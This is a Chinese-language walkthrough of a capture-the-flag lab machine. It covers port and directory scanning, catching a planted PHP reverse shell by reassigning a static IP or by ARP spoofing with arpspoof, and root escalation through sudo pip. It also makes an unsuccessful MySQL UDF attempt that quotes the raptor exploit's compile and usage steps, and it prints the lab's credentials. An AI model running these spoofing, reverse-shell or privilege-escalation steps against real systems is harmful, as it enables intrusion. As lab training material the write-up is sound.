基本信息
靶机
靶机地址:
难度:
描述:
知识点、工具
nmap
gobuster
nc
linuxprivchecker
LinEnum
python -m SimpleHTTPServer 8000
searchsploit
0x00、信息收集
通过扫描网段,找到靶机的地址:
通过nmap扫描IP端口:
在使用nmap的脚本扫描对应的端口:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.38 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners:
| cpe:/a:apache:http_server:2.4.38:
| CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
| CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082
| CVE-2019-10097 6.0 https://vulners.com/cve/CVE-2019-10097
| CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217
| CVE-2019-0215 6.0 https://vulners.com/cve/CVE-2019-0215
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
| CVE-2019-10081 5.0 https://vulners.com/cve/CVE-2019-10081
| CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220
| CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196
| CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197
|_ CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
使用gobuster目录扫描,还可以使用dirb,disearch来扫描:
kali@kali:~$ gobuster dir -u http://192.168.147.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.147.129
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html,zip
[+] Timeout: 10s
===============================================================
2020/07/19 15:46:43 Starting gobuster
===============================================================
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)
===============================================================
2020/07/19 15:49:03 Finished
===============================================================
0x01、漏洞利用
看到信息收集里面的cve,都去查了查,看看都是些什么漏洞,有没有可以利用的,不出意外,msf里面没有,那就说明利用起来还是有条件的,这里就暂时放弃了
然后,回过头来在去看刚刚扫描的目录,访问index.html,script什么都没有
后来看到大佬的walkthrough,发现还是要继续扫描,然后我就照着自己去下载了这个字典,然后在进行一次目录扫描:
访问这个目录,发现这个是一个wordpress,但是当点击,admin这里的时候,就去跳转到192.168.1.13
然后学习其他的walkthrough,包里面的IP改了
但是我这个是真的慢,不知道原因,然后对wordpress目录进一步扫描
然后在uploads这个目录发现有文件
直接点击这个shell.php,得到一串警告
使用burpsuit来访问这个shell.php
查看这个github里面的内容,有一直的告警,说明这个shell.php是一个php-reverse-shell,但是不知道具体的反弹IP和端口:
地址:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
0x02、getshell
修改静态地址获取shell
跟着walkthrougth学习使用mitm方式来攻击,使用wireshark来查看流量:
kali:192.168.147.128
靶机:192.168.147.129
未知IP:192.168.1.14
按照最初访问页面有个192.168.1.13的IP,那么推测这个192.168.1.14就是接受反弹shell的地址
反弹地址:192.168.1.14
反弹端口:5555
为了能获得shell,将kali的NAT模式改为192.168.1.0/24网段,并将kali静态地址设置为192.168.1.14 ,在侦听5555端口,这就可以获得shell
先修改kali的虚拟编辑器:
修改静态IP:
在使用 ifup eth0 重新配置网卡
再用nmap来扫描靶机的地址:
在kali上用nc来监听5555端口,访问shell.php,就可以getshell:
MITM获得shell
靶机:192.168.1.129
kali:192.168.1.128
shell反弹地址:192.168.1.14
shell反弹端口:5555
目标:这个时候就可以利用 ARP 欺骗来告诉靶机(192.168.1.129)我 KALI 这台主机的 IP 为 192.168.1.14,从而利用 ARP 协议让 KALI 的 MAC 地址和 192.168.1.14 相同,造成这么一个 ARP 欺骗
首先增加一个网卡:
将路由功能打开:
参考链接:https://blog.csdn.net/li_101357/article/details/78416813?fps=1&locationNum=2
先欺骗靶机192.168.1.129,kali的192.168.1.128地址为192.168.1.14:
arpspoof -i eth0 -t 192.168.1.129 192.168.1.14
注释:-i 指定网卡 -t 要arp欺骗的ip,第一个IP是告诉目标IP我们kali的IP为192.168.1.14
然后打开nc 监听5555端口,访问shell.php便可以拿到shell:
0x03、提权
通过root账户密码提权
查看常见的SUID可执行文件:
nmap
vim
less
more
nano
cp
mv
find
wget
bash
通过查找命令,没有查找到可执行的文件:
继续查看可执行文件:
查看定时任务:
在尝试sudo -l:
去查看wordpress的配置文件:
尝试用数据库用户名密码作为服务器的账户密码来登录,结果登录失败:
登录方式:SSH
登录用户:ra
登录密码:Db]f{He3HgO
(z
查看.bash_history的内容:
使用sudo -l,可以看到/usr/bin/pip是root权限:
尝试通过pip来获取root权限:
输入pip的提权代码,执行之后就获得root权限了
尝试通过数据库UDF提权
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh,使用这些脚本来收集服务器上信息
同时开启一个python 服务器,用于在靶机下载这个提权的文件:
将提权脚本下载到tmp目录中,其他目录不一定有写入的权限:
执行脚本文件,并将脚本文件输入到result.txt中:
查看result.txt,可以查看到很多有用信息,例如mysql的版本:
看到这里可以考虑一下mysql 提权,通过searchsploit查找到对应的利用poc:
在kali里面找到1518.c,其实可以直接在
https://www.exploit-db.com/exploits/1518,这个链接下载:
下载之后需要把文件编译为 .so 文件,并将 .so文件上传至服务器:
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
复制相关得代码,查看利用代码,从利用代码里面可以看到利用方法:
Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
从利用的过程,说明需要登录mysql数据库,那么就去wordpress的配置文件中去找,看能不能找到对应的数据和密码:
可以查看到:
数据库名:wp_database
用户名:ra
密码:912391929129
利用用户名和密码登录数据库:
但是查看了一下数据库的版本,版本是10.3.18,可能是linprivchecker.py脚本误报了,可能是不存在udf提权漏洞了
0x04、总结
中间人攻击:https://www.cnblogs.com/LittleHann/p/3735602.html
linuxprivchecker:
https://github.com/sleventyeleven/linuxprivchecker
LinEnum:
https://github.com/rebootuser/LinEnum
常用于提权的二进制:
https://gtfobins.github.io/
参考文章:
https://blog.csdn.net/weixin_44214107/article/details/103537647
https://blog.csdn.net/qq_43430261/article/details/107258466